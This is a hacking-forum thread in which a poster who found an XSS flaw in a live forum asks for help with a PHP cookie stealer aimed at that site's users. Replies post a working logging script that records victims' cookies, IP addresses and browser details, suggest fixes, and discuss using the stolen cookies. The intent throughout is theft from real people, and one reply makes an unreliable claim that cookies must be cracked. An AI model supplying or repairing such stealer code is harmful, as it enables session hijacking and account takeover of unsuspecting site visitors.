Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

My cookie stealer wont work? PHP Cookie stealer

Hey guys, I am new here and I learned a lot from this site.

I need some help with my cookie stealer: I got a forum target which I found is XSS vulnerable. For some reason when I use document.location script to steal the user's cookie it simply doesn't do anything.
Perhaps I got the syntax wrong, or gave the file wrong perms?
Here's my stealer's PHP script:

Code
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
With 0777 perms on it.

Also have a cookies.txt file (same dir) with 0777 perms on it.
If you could give me the correct script syntax / stealer, or maybe tell me
what I'm doing wrong that'd be awesome..

P.S: BTW Hosted at hostgator.

Thank you guys!!
Hi if you'd like to PM me i'll link you to one that works and is very easy.
I dont have enough posts to PM unfortunately. :(
I really would love it though, thanks!
Keep posting and stuff then PM me man, (:

Post on a few of my threads and i'll do it although i'm going out teaching football in a school right now so i'll do it when i'm back <3
(Nov 28, 2012 04:50 AM).Nas Wrote:  Hi if you'd like to PM me i'll link you to one that works and is very easy.

Why don't you just post it here so others can get it too?
(Nov 28, 2012 04:54 AM)Dezzz Wrote:  Why don't you just post it here so others can get it too?

I just don't want to give it out to everyone i'll happily give you it if you PM me. It's just one i've used before which worked great.

🤝
(Nov 28, 2012 04:54 AM).Nas Wrote:  Keep posting and stuff then PM me man, (:

Post on a few of my threads and i'll do it although i'm going out teaching football in a school right now so i'll do it when i'm back <3

I would if I could. Posting spams is meaningless, I want to be helpful.
(Nov 28, 2012 04:54 AM).Nas Wrote:  I just don't want to give it out to everyone i'll happily give you it if you PM me. It's just one i've used before which worked great.

🤝

You're still giving it out to everyone that PMs you
OP can't even pm yet
Thank you guys for the timely responses, I'd appreciate it if someone could help me out with the problem.

Thanks in advance!
Kind of wrong section, but here you go.

PHP Code

<?php
    $ip 
= $_SERVER['REMOTE_ADDR'];
    
$agent = $_SERVER['HTTP_USER_AGENT'];
    
$referer = $_SERVER['HTTP_REFERER'];
    
$cookie = $HTTP_GET_VAR ['cookie'];
    
$date = date("D, M j, Y g:i:s A");
    
$file = 'log.txt';

    
$fap = fopen($file, "a");
    
fwrite($fap, "IP: $ip \n User Agent: $agent \n Cookie: $cookie \n Date: $date \n\n");
?>
PM for help
BTC is welcome
*Crack hashes/WPA handshakes here* *Change IP here*


Maybe a tutorial on cookie stealing is something I've bn looking forward to for a long while nw.


(Apr 3, 2014 08:52 PM)w34k Wrote:  Kind of wrong section, but here you go.

Nice share bro.do you knw anywhere I can find a more comprehensive tutorial on what to do with the cookies afterwards.
Try to replace:
$cookie = $_GET['cookie'];
With:
$cookie = $HTTP_GET_VARS["cookie"]

Could you also post the JavaScript/whatever from how you redirect?

/
Don't copy/paste other's code, you don't learn anything from that.
Make your own cookie-stealer line-by-line, every line with research if needed. The reward will be bigger, believe me. :)


Quote:Nice share bro.do you knw anywhere I can find a more comprehensive tutorial on what to do with the cookies afterwards.


The cookies are probably hashed/encoded, you need to crack those in order to view the content of the cookies.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by _almond_May 6, 2020 01:30 AM 8 200 May 6, 2020 01:30 AM
Last Post: SpookyD
by ideaatounotesutowanSep 11, 2019 09:53 PM 0 163 Sep 11, 2019 09:53 PM
Last Post: ideaatounotesutowan
by OMGNEEDSLEEPAug 18, 2017 02:46 PM 1 167 Aug 18, 2017 02:46 PM
Last Post: Bossk